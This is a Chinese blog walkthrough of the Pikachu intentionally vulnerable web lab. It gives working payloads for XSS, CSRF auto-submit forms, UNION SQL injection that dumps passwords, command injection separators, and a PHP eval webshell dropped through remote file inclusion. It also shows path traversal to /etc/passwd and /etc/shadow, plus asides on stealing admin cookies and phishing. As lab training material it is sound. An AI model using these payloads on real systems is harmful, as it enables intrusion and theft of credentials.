iami233
iami233
文章153
标签38
分类4

文章分类

文章归档

Pikachu 漏洞平台通关记录

Pikachu 漏洞平台通关记录

Pikachu 是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

暴力破解

基于表单

burp 抓包使用 Clusterbomb 类型爆破

图片

验证码绕过(on server)

抓包请求后发现 只要页面不刷新 验证码就不会改变 爆破方法同上

图片

验证码绕过(on client)

验证码是 js 前端校验 直接抓包 无视 js

图片

token绕过

攻击类型选择:音叉

图片

打开Intruder->Options设置如下参数

请求线程数选择:1

图片

图片

重定向选择:总是

图片

Payloads 里面选择 递归搜索

图片

图片

Cross-Site Scripting

反射性xss(get)

发现有 20 个字符限制,直接改为 100 即可

图片

题目是 get 看了下 url 发现提交的参数在 url 后面直接在 url 后面补全也行。

图片

反射性xss(post)

这题对着框搞了半天 看了下提示才知道需要先登录,账号密码还是 admin / 123456

登录后直接输入payload:<script>alert(1)</script>

图片

存储型xss

1
payload:<script>alert(1)</script>

存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出 xss数据 所以会弹框
可以搭配一些 xss在线平台 找一些有存储型xss漏洞的网站钓管理员 cookies

DOM型xss

提交 payload 后出现一个 what do you see? 点击后 403

图片

f12 可以看到我们提交的数据变成了超链接

图片

看下 js 代码

1
2
3
4
5
6
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>

直接闭合使用 onclick 弹出

图片

1
2
' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

DOM型xss-x

1
2
3
4
5
6
7
8
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>

这题加了个正则替换把 空格 替换成了 + 号,payload 同上

1
2
' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

xss盲打

盲打就是在一切能插入的地方插入 xss 代码

看了下提示 需要登录后台,xss 插入成功

1
payload:<script>alert(1)</script>

图片

图片

xss过滤

输入 <script>alert(1)</script>

图片

输入 alert(1) 输入 123 返回 了别说这些'123'的话,不要怕,就是干!

图片

应该是过滤了 <script>*</scipt

大小写混写直接绕过

图片

试了下其他方法也绕过了 更加确信过滤了 <script>*</scipt

图片

1
2
<scriPt>alert(1) </scriPt>
<img src=x onerror=alert("1")>

xss之htmlspecialchars

htmlspecialchars:将 特殊字符 转换为 HTML 实体

字符替换后
&(& 符号)&
“(双引号)",除非设置了ENT_NOQUOTES**
‘(单引号)设置了ENT_QUOTES后,(如果是ENT_HTML401) ,或者'(如果是ENT_XML1、ENT_XHTML或ENT_HTML5**)。
<(小于)<
>(大于)>

htmlspecialchars 默认不对 单引号 继续进行转换

图片

1
' onclick='alert(1)'>

xss之href输出

1
2
javascript: alert(1);
// 这段代码前端开发还是挺常用的 javascript:;

图片

xss之js输出

找到了这段 js 直接闭合

图片

1
'; alert(1);//

图片

CSRF

CSRF(get)

点击提示给了一些账号密码,随便登录一个(我登录的 vince )点击修改信息,看看请求信息。

图片

图片

我们发现是 get 请求 提交了些参数 构造一下发给其他人

1
csrf_get_edit.php?sex=boy&phonenum=12345678910&add=chain&email=hacker%40pikachu.com&submit=submit

方便区分 我用 无痕模式 登录 allen 用户

图片

然后访问我们构造的链接,可以看到信息变了

图片

现实中可以 用图片或者超链接来诱骗点击。

CSRF(post)

和上一关一样 只不过 get 变成了 post

1
sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

图片

我们构造一下

1
sex=boy&phonenum=11111111111&add=攻击成功&email=vince%40pikachu.com&submit=submit

写个 html 自动提交的表单 实际中还可以提交完自动跳转,降低受害者警觉

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
setTimeout(function() {
         document.getElementById("submit").click();
}, 1000);//延迟1秒
</script>
<form action="http://pikachu.la/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<p class="per_name">姓名:allen</p>
<p class="per_sex">性别:<input type="text" name="sex" value="boy"></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="2222222222"></p>    
<p class="per_add">住址:<input class="add" type="text" name="add" value="攻击成功"></p> 
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p> 
<input class="sub" type="submit" name="submit" id="submit" value="submit">
</form>

图片

CSRF Token

修改信息新加了 动态Token 有个骚操作 但是存在 跨域问题 所以做不出

图片

Sql Inject

数字型注入(post)

直接 burp 抓包用 重发器

图片

1
2
3
4
5
6
7
查字段:1 order by 2
查字段:1 order by 3 #报错,所以只有两个字段
查当前库名:-1 union select 1,database()
查所有库名:-1 union select 1,group_concat(schema_name) from information_schema.schemata
查表名:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查值:-1 union select 1,group_concat(password) from pikachu.users 

字符型注入

1
2
3
4
5
6
查字段:1' order by 2 #
查当前库名:-1' union select 1,database() #
查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:-1' union select 1,group_concat(password) from pikachu.users #

搜索型注入

1
2
3
4
5
6
查字段:a%' order by 3 #
查当前库名:a%' union select 1,2,database() #
查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表名:a%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:a%' union select 1,2,group_concat(password) from pikachu.users #

xx型注入

1
2
3
4
5
6
查字段:1') order by 2 #
查当前库名:1'union select 1,database() #
查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:1'union select 1,group_concat(password) from pikachu.users #

RCE

exec “ping”

命令拼接符

windows
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B

linux
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B
;A;B 执行完A执行B
%0a换行符
%0d回车符

图片

可以直接用 cmd 新建用户之类的

exec “evel”

PHP命令执行函数

1
system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_popen()等

图片

File Inclusion

File Inclusion(local)

1
2
3
4
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";
}

isset 检测变量是否存在,然后同时 filename 不为空,GET 后直接包含进了 include
直接修改 filename 参数即可

图片

File Inclusion(remote)

PHP的配置选项 allow_url_includeON 的话,则 include / require 函数可以 加载远程文件

这个远程文件包含和上面的本地文件包含代码一样,同样没做安全限制

txt写段代码,然后使用远程包含漏洞可以自动创建一句话php文件

1
2
3
4
<?php
$shell "<?php @eval(@\$_POST['cmd']); ?>";
file_put_contents('./shell.php',$shell);
?>

请求之后发现页面没报错 同时目录下新建了个 shell.php,同时一句话也写入了

图片

图片

Unsafe Filedownload

Unsafe Filedownload

可以构造一下下载的文件通过 ../../ 控制目录,例如:

1
http://pikachu.la/vul/unsafedownload/execdownload.php?filename=../../../README.md

如果是 linux 的话还可以下载 /etc/passwd/etc/shadow

Unsafe Fileupload

之前做过upload-labshttps://5ime.cn/upload-labs.html

client check

上传了一个 php 文件 弹窗警告 感觉应该是 js前端校验

图片

禁用 js 会后上传成功

图片

MIME type

上传 php 出现提示文字

图片

直接 burp 抓包修改 content-Type 绕过

图片

getimagesize

这关直接参考我之前的文章

生成图片马:https://5ime.cn/upload-labs.html#%E7%AC%AC14%E5%85%B3

getimagesize 绕过参考我以前的文章:https://5ime.cn/upload-labs.html#%E7%AC%AC15%E5%85%B3

Over Permission

水平越权

A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水平越权操作。

图片

修改 username 的参数值 即可查看其他用户的信息

图片

垂直越权

A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。

我们浏览器登录 admin 用户 复制添加用户的 url 地址 使用无痕窗口登录普通用户 pikachu,访问刚才复制的添加用户的 url 地址。此时普通用户也可以正常访问(未授权访问) 点击创建后跳转到了登录页面

图片

图片

此时我们用 admin 查看用户列表 发现刚才我们使用 pikachu 新建的用户增加成功了。

图片

../../

目录遍历

图片

如果是 linux 还可以遍历 /etc/shadow/etc/passwd

敏感信息泄露

IcanseeyourABC

直接在 注释 找到了 账号密码

图片

URL重定向

不安全的URL跳转

f12 看到 第三个 有个 参数 我们直接构造

1
http://pikachu.la/vul/urlredirect/urlredirect.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

图片

发现网页跳转到了百度

图片

这种漏洞用来钓鱼挺不错)

SSRF

SSRF(curl)

我们直接构造

1
http://pikachu.la/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

图片

或者用 file协议

图片

或者 端口

图片

SSRF(file_get_content)

同上

本文作者:iami233
本文链接:https://5ime.cn/pikachu.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可